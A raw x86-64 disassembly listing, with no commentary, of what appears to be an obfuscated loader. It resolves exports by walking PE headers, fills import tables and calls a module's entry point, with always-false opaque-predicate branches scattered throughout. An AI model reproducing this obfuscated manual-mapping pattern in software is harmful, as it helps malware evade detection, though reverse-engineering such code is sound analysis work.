mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x1800023ae
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x1800023ae
mov eax, dword [r11]
add dword [rdx + rax*4], r10d
mov eax, dword [r11]
jmp 0x180002365
cmp ebx, 0xa
jne 0x1800023ae
mov eax, dword [r11]
mov ecx, esi
add rcx, r13
add qword [rax + rcx], r10
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
cmp ecx, 0xa
jl 0x18000230a
mov esi, edx
and esi, 1
je 0x18000230a
jmp 0x1800023f2
mov esi, dword [r11 + 4]
mov edx, esi
add r11, rdx
cmp ecx, 0xa
jl 0x1800022bf
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800022bf
jmp 0x1800022a5
jmp 0x1800023f0
jmp 0x1800023f2
jmp 0x1800023f4
cmp ecx, 0xa
jl 0x180002408
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002408
jmp 0x180002406
lea rax, [r13 + 2]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x90]
add rax, r13
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov r12d, dword [rax + 0xc]
test r12, r12
je 0x18000287e
add r12, r13
sub rsp, 0x20
jmp 0x18000244f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
mov rcx, qword [rbp - 0x10]
call fcn.1800028c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000247d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002807
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800024ac
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002809
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rsi, r9
add rcx, r9
mov edi, dword [rsi]
add rdi, r9
mov rbx, r15
movzx eax, byte [rbx]
movzx edx, byte [rdi]
test al, al
je 0x1800024dd
add rbx, 1
add rdi, 1
cmp al, dl
je 0x1800024c7
cmp al, dl
je 0x1800024eb
add rsi, 4
add rcx, 2
jmp 0x1800024bf
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r12
call r9
add rsp, 0x20
mov r14, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800025d0
test edx, edx
je 0x1800025d0
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.1800028c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000255e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000280b
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000258d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000280d
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rsi, r9
add rcx, r9
mov edi, dword [rsi]
add rdi, r9
mov rbx, r15
movzx eax, byte [rbx]
movzx edx, byte [rdi]
test al, al
je 0x1800025be
add rbx, 1
add rdi, 1
cmp al, dl
je 0x1800025a8
cmp al, dl
je 0x18000243b
add rsi, 4
add rcx, 2
jmp 0x1800025a0
cmp ecx, 0xa
jl 0x1800025dd
test edx, edx
jne 0x180002817
mov rdx, qword [rbp - 0x18]
mov ebx, dword [rdx]
mov edx, dword [rdx + 0x10]
add rbx, r13
mov qword [rbp - 0x20], rbx
add rdx, r13
mov qword [rbp], rdx
mov rdx, qword [rbp - 0x20]
mov rdx, qword [rdx]
test rdx, rdx
je 0x1800027e5
mov rax, qword [rbp - 0x30]
add rax, rdx
test rdx, rdx
movzx r12d, dx
cmovns r12, rax
jmp 0x18000263a
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r12
call r9
add rsp, 0x20
mov rcx, qword [rbp]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.1800028c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000266c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000280f
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000269b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002811
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x1800026cd
add rsi, 1
add rdi, 1
cmp al, bl
je 0x1800026b7
cmp al, bl
je 0x1800026db
add rdx, 4
add rcx, 2
jmp 0x1800026ae
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r12
call r9
add rsp, 0x20
mov rcx, qword [rbp]
mov qword [rcx], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800027c8
test edx, edx
je 0x1800027c8
sub rsp, 0x20
mov rcx, qword [rbp - 0x10]
call fcn.1800028c0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002755
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002813
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002784
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002815
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x1800027b6
add rsi, 1
add rdi, 1
cmp al, bl
je 0x1800027a0
cmp al, bl
je 0x180002618
add rdx, 4
add rcx, 2
jmp 0x180002797
add qword [rbp - 0x20], 8
add qword [rbp], 8
cmp ecx, 0xa
jl 0x1800025f4
test edx, edx
je 0x1800025f4
jmp 0x180002817
add qword [rbp - 0x18], 0x14
cmp ecx, 0xa
jl 0x180002421
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002421
jmp 0x180002406
jmp 0x180002807
jmp 0x180002809
jmp 0x18000280b
jmp 0x18000280d
jmp 0x18000280f
jmp 0x180002811
jmp 0x180002813
jmp 0x180002815
jmp 0x180002817
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x1800028a1
cmp eax, 0xa
jl 0x18000283a
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180002868
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000287e
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000287e
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
jmp 0x18000283a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
add rax, r13
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jge 0x180002819
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret